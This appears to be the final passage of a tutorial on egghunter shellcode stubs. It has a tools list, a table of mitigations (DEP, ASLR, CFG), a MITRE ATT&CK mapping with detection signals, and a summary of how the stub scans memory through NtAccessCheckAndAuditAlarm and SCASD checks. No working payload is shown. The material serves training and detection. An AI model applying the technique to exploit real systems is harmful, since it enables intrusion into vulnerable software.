mona.pyGenerates/verifies egghunters (!mona egg) in Immunitycorelan.be
Immunity DebuggerClassic exploit-dev debugger, mona hostimmunityinc.com
x64dbgFree user-mode debugger for stepping the scanx64dbg.com
VulnServerSafe, intentionally vulnerable practice targetgithub.com
Process HackerSpot the 100% CPU thread and handle accessprocesshacker.sourceforge.io
SysmonEID 8/10/25 telemetry for shellcode behaviormicrosoft.com
j00ru syscall tableAuthoritative per-OS syscall numbersj00ru.vexillium.org
osed-scripts (epi052)Egghunter generator and OSED helpersgithub.com

11. Mitigations and Modern Reality

Egghunters were a 32-bit-era staple, and modern defenses have narrowed their utility considerably.

MitigationEffect on the technique
DEP / NXPayload on stack/heap won’t execute; primary kill switch for legacy targets
ASLRHardcoded POP/POP/RET addresses break; forces wider scans → more CPU and ETW noise
Control Flow GuardValidates indirect targets; disrupts the final JMP EDI when enforced
GS / stack canariesDon’t stop the hunter, but can stop the overflow that delivers it
App sandboxingLimits post-execution blast radius

The technique still earns its place in OSED-style coursework and against unhardened legacy 32-bit software – which is exactly where you find it in real engagements.


12. MITRE ATT&CK Mapping

Egghunters are delivery scaffolding, not a post-exploitation tactic. There’s no ATT&CK sub-technique for “egghunter,” and you shouldn’t invent one. It sits upstream of the payload, in the exploitation-and-loading layer. Map the surrounding behavior:

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203Service crash/recover, EID 1 anomalies
Process InjectionT1055Sysmon EID 8/10, TI ETW
Process Injection: DLL InjectionT1055.001EID 8 with empty StartModule
Reflective Code LoadingT1620In-memory PE, EID 25 ProcessTampering
Obfuscated Files or InformationT1027Encoded egg payload, YARA on decoder stubs
Sandbox Evasion: Time BasedT1497.003CPU-spike artifact in sandboxes

Summary

  • An egghunter is a ~32-byte stage-1 stub that scans process memory for a doubled tag and jumps to the stage-2 payload – the answer to “my buffer is too small for real shellcode.”
  • The hunter walks memory page-by-page (OR DX, 0x0FFF), validates each page via NtAccessCheckAndAuditAlarm/INT 0x2E (or an SEH frame), and confirms the egg with two consecutive SCASD instructions before JMP EDI.
  • The payload must already be resident when the hunter runs; otherwise it loops and pegs a CPU core – a behavioral indicator in its own right.
  • Syscall numbers are OS-version specific (verify against j00ru) and WoW64 needs Heaven’s Gate, so portability is the real-world friction.
  • Detect it via the INT 0x2E anomaly, rapid NtAccessCheckAndAuditAlarm bursts, Sysmon EID 8 threads with empty StartModule, EID 25 tampering, and a YARA signature on the canonical opcode window – and mitigate upstream with DEP, ASLR, and CFG.

Related Tutorials

References